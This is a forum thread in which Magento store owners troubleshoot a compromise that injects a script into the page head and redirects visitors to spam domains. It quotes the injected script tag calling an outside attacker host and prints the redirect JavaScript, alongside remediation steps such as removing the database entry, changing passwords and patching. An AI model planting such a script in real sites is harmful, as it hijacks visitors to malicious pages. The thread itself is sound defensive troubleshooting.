Website start redirecting to another url

Question

Maybe it's infected by some virus.

My website starts redirecting to these infected URL.

http://mon.setsu.xyz
and some time https://tiphainemollard.us/index/?1371499155545
Infected links

what I did to solve.

1. Commented .htaccess file ( nothing happen)
2. Commented include folder ( nothing happen)
3. Scanned complete server ( nothing happen no virus malware found)
4. Changed CSS, media and js path from the database just to ensure that weather its PHP or any js is doing ( nothing happen)
5. select * from core_config_data where path like '%secure%'; all links are ok UPDATE

I googled and many articles were written on this but they suggest it was a browser issue or my system is infected. An article on this even if I open the site on my phone or on my personal laptop, issues are same.

UPDATE 2

I found the row in the database which is affected. ( as Boris K. also saying)

In the core_config_data table design/head/includes value have a

<script src="<a href="https://melissatgmt.us/redirect_base/redirect.js">https://melissatgmt.us/redirect_base/redirect.js</a>" id="1371499155545"></script>  

Which will be inserted in head section on page load.

If you visit the above URL you will get a script of redirect which is

   var redirChrome;
var isToChrome = document.currentScript.getAttribute('data-type');

if((isToChrome == 1 && navigator.userAgent.indexOf("Chrome") != -1) || !isToChrome){

 var idToRedirect = document.currentScript.getAttribute('id'); 

window.location.replace('https://tiphainemollard.us/index/?'+idToRedirect);
}

Client website is working from afternoon once I removed that script. But the main problem is how that script inserted into the database.

One patch is also outdated so I updated that patch also.

UPDATE 3 The site is infected again. This is the script inserted in Admin section ( Admin->Configuration->General->Design->HTML Head->Miscellaneous Script)

And in database column

I don't know what to do now. As I changed every password, Deleted all old users.

UPDATE 3

Till now that error doesn't come so it means by following the above steps we can overcome this issue.

UPDATE::4 Always install patches as it helps me in projects to make store less prone to these type of issues and patches are important as well. One can use https://magescan.com/ to check the issues on their website.

Answer 1

I found the injected code in the core_config_data table, under design/head/includes. Removed it and now the site is back to normal.

UPDATE: As everyone else mentioned, it happened again this morning. This time I got rid of it more easily from the Admin Panel under System > Configuration > General > Design > HTML Head > Miscellaneous Scripts. This is a huge vulnerability, I hope Magento is working on a patch.

UPDATE 2: The script came back again, so I changed the db password, cleared cache. About an hour later, the script is back. So I don't think it's being added thru the db. I just changed my admin password, let's see if it comes back again.

UPDATE 3: Since I changed the admin password yesterday on both of my affected sites, about 24 hours later both are still clean.

Answer 2

Same issue on another magento site. I discovered that a script is injected in the HEAD section of the page, requesting redirect_base/redirect.js from melissatgmt.us (then changed to another domain) but can't figure out how this shit is injected.

UPDATE: As mentioned by others, found the entry in core_config_data table and removed it but the record was back at next page reload. I changed the db password and now it seems to be defeated. I'm not sure the password change is the ultimate solution but anyway is a security improvement.

UPDATE 2: As stated by Jix Sas, accessing from config in magento administration is an easier solution than directly accessing the database table. But the shit keeps coming back every 10/15 minutes.

UPDATE 3: Changed admin password, checked & saved some cms pages (customer-service and about-us) that seemed to be somehow infected, disabled cache, cleaned cache several times (after every check & save of 'infected' cms page) no more script injected during the past 8 hours.

Answer 3

I changed the path to admin panel in app/etc/local.xml and it helps. The script is no longer added to design/head/includes.

Explanation :

In the app/etc/local.xml I changed <admin> <routers> <adminhtml> <args> <frontName><![CDATA[new_admin_path]]></frontName> </args> </adminhtml> </routers> </admin> Previously it was sitedomain.com/admin, and now path to admin panel will be sitedomain.com/new_admin_path

Answer 4

This is such a big Relief , i have restored my site 10 times since morning.

The Bug keeps on Coming again and again.

Whats the Ultimate solution?

Change DB Password? Change Root Password? Any Patch is Released?

I am not sure if this is related i have got below email from a Security Consultancy

Dear Sir or Madam,

We are Hatimeria, a Magento development company based in Switzerland, Poland, and The Netherlands.

Recently, we started working with a new client, and took over his old server. At the moment we accessed the server, we stumbled upon some malware, with which hackers were able to take over the server of the client, and use it as a “hackers machine” to hack other websites. Of course the client didn’t know that this was happening on his server.

We found database credentials of your website which was hacked through that server. Of course we won’t do anything with it, but I feel obliged to contact you and let you know what is going on. The hack was done through the Magento Cacheleak vulnerability, which might still be present on your store right now.

I advise you to immediately take care of that vulnerability, and change your database password. Our technicians say this should take about 30 minutes.

On the website MageReport you can see what else your website might be vulnerable to: https://www.magereport.com/scan/?s=

My primary intention of this email is not to make a customer acquisition, but if you need help securing your store, or have any other questions, we are happy to help.

With kind regards, Thomas Tanner

SO i guess Solution is Change DB password

Answer 5

We need to understand what is the MAIN cause for such spam injections

If your site was injected, please check your site on ALL THREE malware scans

https://magescan.com

https://www.magereport.com

https://sitecheck.sucuri.net/

I have a feeling this is due to missing security patch! If you see a patch missing, REPORT IT UNDER THIS TOPIC.

1. Change Hosting access password Change database password Change admin login passwords HIDE ADMIN AND DOWNLOAD urls and hide /RSS/ from public view.

2. Do full site virus scan, your hosting provider is able to scan the site if you cannot do it yourself.

3. Go to Sysytem-->Users and see if there are any UNAUTHORIZED registered users on account.

Answer 6

I fixed the issue. Even after I deleted fhis file from <script src="https://melissatgmt.us/redirect_base/redirect.js" id="1371499155545"></script> from the core_config_data table in design/head/includes value. It didn't resolve the problem. the script code was inserted again and again. To fix the problem, simply follow these three step.

1. Delete the script code from the core_config_data table in design/head/includes.
2. Change the database password including app/etc/local.xml credential.
3. Clear Cache at root Magento folder using this command rm -rf var/cache/*

p.s I spent the whole day. Hopefully, this will work for you. And Make sure backup the file all the time.

Answer 7

this exact same thing happened to me just today! redirecting to the same website. however, I found the script in Magento admin panel under configuration>design>html head>misc scripts. there was this script : <script src="https://melissatgmt.us/redirect_base/redirect.js" id="1371499155545"></script> i removed it from there and the website is working fine. i don't have the folder you said you found the script in. Any idea where it could be?(as you know the path to HTML head>misc scripts)

also, what did you do recently? maybe we can figure out the cause? for me, i installed a free newsletter popup which may be the cause. what about you?

UPDATE: well now the script is back. Someone tell me how can i access this script from the database to remove it please?

UPDATE 2: as stated by Mark, removing the script AND changing database password stopped this script from coming back. If anyone knows the name of this vulnerability, or if there is danger to the payment of the customers, please let us know.